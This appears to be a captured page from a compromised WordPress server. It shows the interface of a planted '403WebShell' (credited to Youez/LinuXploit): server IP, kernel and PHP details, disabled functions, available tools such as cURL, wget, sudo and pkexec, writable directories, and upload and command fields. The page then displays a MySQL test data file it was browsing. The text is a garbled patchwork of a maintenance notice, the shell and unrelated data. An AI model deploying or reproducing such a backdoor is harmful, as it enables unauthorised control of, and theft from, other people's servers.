WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/mysql-test/std_data/funcs_1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/mysql-test/std_data/funcs_1/memory_tb3.txt
!	!	!	!	!	!	87	241	57	173	18446	49170	16642	30337	-5	1	1	1	-5	1	1	1	-5	1	1	1	-5	1	1	1	-5	-5	1	1	1	1	1	1	-5	0.0	1	0.0	1	0.0	1	0.0	-5	1	1	1	-5	-5
@	@	@	@	@	@	46	98	15	87	28328	27957	22906	13894	-4	2	2	2	-4	2	2	2	-4	2	2	2	-4	2	2	2	-4	-4	2	2	2	2	2	2	-4	1.1	2	1.1	2	1.1	2	1.1	-4	2	2	2	-4	-4
#	#	#	#	#	#	47	178	99	1	14395	33016	14488	19286	-3	3	3	3	-3	3	3	3	-3	3	3	3	-3	3	3	3	-3	-3	3	3	3	3	3	3	-3	2.2	3	2.2	3	2.2	3	2.2	-3	3	3	3	-3	-3
$	$	$	$	$	$	112	214	125	95	17700	64850	18337	21044	-2	4	4	4	-2	4	4	4	-2	4	4	4	-2	4	4	4	-2	-2	4	4	4	4	4	4	-2	3.3	4	3.3	4	3.3	4	3.3	-2	4	4	4	-2	-2
%	%	%	%	%	%	11	122	24	177	25939	55312	20230	23055	-1	5	5	5	-1	5	5	5	-1	5	5	5	-1	5	5	5	-1	-1	5	5	5	5	5	5	-1	4.4	5	4.4	5	4.4	5	4.4	-1	5	5	5	-1	-1
^	^	^	^	^	^	89	228	33	168	29230	35722	26178	18372	0	6	6	6	0	6	6	6	0	6	6	6	0	6	6	6	0	0	6	6	6	6	6	6	0	5.5	6	5.5	6	5.5	6	5.5	0	6	6	6	0	0
&	&	&	&	&	&	71	225	98	132	15603	29021	29242	62542	1	7	7	7	1	7	7	7	1	7	7	7	1	7	7	7	1	1	7	7	7	7	7	7	1	6.6	7	6.6	7	6.6	7	6.6	1	7	7	7	1	1
*	*	*	*	*	*	54	204	86	76	12146	41911	27986	4744	2	8	8	8	2	8	8	8	2	8	8	8	2	8	8	8	2	2	8	8	8	8	8	8	2	7.7	8	7.7	8	7.7	8	7.7	2	8	8	8	2	2
(	(	(	(	(	(	7	93	3	194	18817	25083	8657	49740	3	9	9	9	3	9	9	9	3	9	9	9	3	9	9	9	3	3	9	9	9	9	9	9	3	8.8	9	8.8	9	8.8	9	8.8	3	9	9	9	3	3
)	)	)	)	)	)	15	241	27	18	9788	64993	245	39300	4	10	10	10	4	10	10	10	4	10	10	10	4	10	10	10	4	4	10	10	10	10	10	10	4	9.9	10	9.9	10	9.9	10	9.9	4	10	10	10	4	4

Youez - 2016 - github.com/yon3zu
LinuXploit